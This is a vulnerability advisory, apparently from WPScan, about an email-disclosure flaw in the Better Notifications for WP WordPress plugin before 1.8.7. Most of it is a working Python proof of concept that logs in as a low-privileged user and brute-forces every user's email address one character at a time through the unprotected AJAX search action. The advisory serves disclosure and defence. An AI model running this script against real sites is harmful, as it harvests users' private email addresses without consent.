Lucene search

K
wpvulndbKrzysztof ZającWPVDB-ID:B3B523B9-6C92-4091-837A-D34E3174EB19
HistoryJan 31, 2022 - 12:00 a.m.

Better Notifications for WP < 1.8.7 - Email Address Disclosure

2022-01-3100:00:00
Krzysztof Zając
wpscan.com
4
wordpress
email disclosure
csrf
authorization
security vulnerability
user query

EPSS

0.001

Percentile

21.2%

The plugin does not have authorisation and CSRF check in its bnfw_search_users AJAX action, allowing any authenticated users to call it and query for user e-mail prefixes (finding the first letter, then the second one, then the third one etc.).

PoC

import sys import string import urllib.parse import requests BASE_URL = “http://127.0.0.1:8001/” USERNAME = “subscriber” PASSWORD = “subscriber” # This exploit doesn’t detect stars in e-mail addresses. EMAIL_CHARSET = ( “”.join([x for x in string.ascii_letters if x == x.lower()]) + string.digits + “!#$%&'±/=?^_`{|}~.@:” ) with requests.Session() as s: cookies = {“wordpress_test_cookie”: “WP Cookie check”} data = { “log”: USERNAME, “pwd”: PASSWORD, “wp-submit”: “Log In”, “redirect_to”: BASE_URL, “testcookie”: “1”, } response = s.post(BASE_URL + “wp-login.php”, cookies=cookies, data=data) def get_users_by_query(query: str) -> dict: response = s.get( BASE_URL + “/wp-admin/admin-ajax.php?action=bnfw_search_users&query;=” + urllib.parse.quote(query) ) response_decoded = response.json() for item in response_decoded: if item[“text”] == “Users”: return item[“children”] USERS = {} for user in get_users_by_query(“”): USERS[user[“id”]] = user[“text”] for user_id, user_name in USERS.items(): print(f"Getting e-mail of {user_name}… :“) email_candidates = [”"] finished_candidates = [] while len(email_candidates) > 0: new_candidates = [] for candidate in email_candidates: found = False for char in EMAIL_CHARSET: for item in get_users_by_query(candidate + char): if item[“id”] == user_id: new_candidates.append(candidate + char) found = True if not found: finished_candidates.append(candidate) email_candidates = [ candidate for candidate in new_candidates if not candidate.startswith(user_id + “.”) and not candidate.startswith(“http:”) ] print("candidates: ", email_candidates + finished_candidates) print([candidate for candidate in email_candidates + finished_candidates if “@” in candidate])

EPSS

0.001

Percentile

21.2%

Related for WPVDB-ID:B3B523B9-6C92-4091-837A-D34E3174EB19